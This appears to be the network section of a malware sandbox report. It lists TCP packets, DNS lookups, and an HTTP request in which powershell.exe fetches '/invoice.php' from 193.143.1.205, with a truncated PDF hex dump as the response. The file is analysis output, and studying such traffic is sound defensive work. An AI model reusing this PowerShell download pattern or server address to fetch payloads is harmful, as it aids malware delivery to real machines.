Jan 10, 2025 18:27:23.749084949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.749103069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.749119997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.749138117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.749146938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.749181986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.749494076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.749511957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.749528885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.749546051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.749548912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.749563932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.749578953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.749586105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.749598980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.749619961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.749959946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.749977112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.750000000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.750017881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.750034094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.750046015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.750050068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.750066996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.750083923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.750092983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.750108004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.750125885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.750128984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.750143051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.750164032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.750166893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.750202894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.751823902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.778620958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.778642893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.778659105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.778673887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.778691053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.778757095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.778811932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.803507090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.803540945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.803558111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.803572893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.803591967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.803607941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.803608894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.803632975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.803649902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.803659916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.803668976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.803678036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.803693056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.803709030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.803713083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.803725004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.803744078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.803744078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.803776979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.803792953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.803838015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.803853035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.803869963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.803875923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.803888083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.803903103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.803906918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.803920984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.803936958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.804008961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.804024935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.804044962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.804157019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.804172993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.804193974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.804198980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.804214954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.804229975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.804235935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.804245949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.804260969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.804261923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.804332018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.816777945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.822882891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.835582972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.835616112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.835633039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.835648060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.835664034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.835680962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.835685968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.835700035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.835714102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.835721970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.835740089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.835757017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.835761070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.835778952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.835791111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.835808039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.835834026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.835844994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.835850954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.835870028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.835886955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.835887909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.836164951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.836179018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.836189032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.836215019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.836347103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.836363077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.836380959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.836396933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.836399078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.836426973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.836430073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.836443901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.836461067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.836477041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.836488962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.836504936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.836529970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.836530924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.836549997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.836565018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.836566925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.836582899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.836600065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.836601019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.836639881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.836962938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.836992979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.837009907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.837027073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.837028027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.837045908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.837063074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.837089062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.837105989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.837135077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.837136984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.837152958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.837168932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.837172031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.837188005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.837202072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.837204933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.837219000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.837234020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.837272882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.837290049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.837306023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.837310076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.837325096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.837346077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.837359905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.837376118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.837395906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.837395906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.837413073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.837434053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.837439060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.837474108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.837474108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.837491989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.837507963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.837526083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.837533951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.837546110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.837564945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.837572098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.837611914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.837636948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.837654114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.837655067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.837670088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.837686062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.837688923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.837699890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.837713003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.837737083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.837794065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.837810040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.837821007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.837831974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.837867022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.837886095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.837929964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.837954998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.837971926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.837975025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.837997913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.838001966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.838016033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.838037968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.838054895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.838058949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.838073969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.838088036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.838095903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.838120937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.838176966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.838211060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.838227034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.838251114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.838274956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.838290930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.838306904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.838310003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.838342905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.838382959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.841603994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.892399073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.892441988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.892468929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.892489910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.892507076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.892504930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.892524958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.892541885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.892543077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.892558098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.892558098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.892566919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.892590046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.892606974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.892623901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.892640114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.892643929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.892668009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.892684937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.892688990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.892700911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.892716885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.892723083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.892735004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.892745018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.892781019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.892805099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.892819881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.892836094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.892849922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.892864943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.892868042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.892887115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.892911911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.892927885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.892944098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.892947912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.892961025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.892986059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.893023014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.893038988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.893055916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.893057108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.893070936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.893090010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.911603928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.924566031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.924631119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.924633980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.924693108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.924729109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.924743891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.924778938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.924813032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.924825907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.924854994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.924889088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.924892902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.924925089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.924957991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.924968004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.924992085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.925010920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.925028086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.925035954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.925044060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:23.925062895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:23.939903021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:24.106762886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:24.577366114 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:24.582211018 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:24.582319021 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:24.582606077 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:24.587367058 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:25.361387968 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 18:27:25.412903070 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 18:27:27.338584900 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:27:37.567328930 CET	55006	53	192.168.2.5	1.1.1.1
Jan 10, 2025 18:27:51.314610004 CET	55054	53	192.168.2.5	1.1.1.1
Jan 10, 2025 18:28:03.721034050 CET	56987	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 18:27:37.567328930 CET	192.168.2.5	1.1.1.1	0xfb2a	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:27:51.314610004 CET	192.168.2.5	1.1.1.1	0xffd3	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:28:03.721034050 CET	192.168.2.5	1.1.1.1	0x424a	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 18:27:36.160034895 CET	1.1.1.1	192.168.2.5	0x24bf	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:27:36.160034895 CET	1.1.1.1	192.168.2.5	0x24bf	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:27:37.577534914 CET	1.1.1.1	192.168.2.5	0xfb2a	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:27:51.321871996 CET	1.1.1.1	192.168.2.5	0xffd3	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:28:03.729245901 CET	1.1.1.1	192.168.2.5	0x424a	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	2180	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:27:22.374228954 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 18:27:23.174835920 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:27:23 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 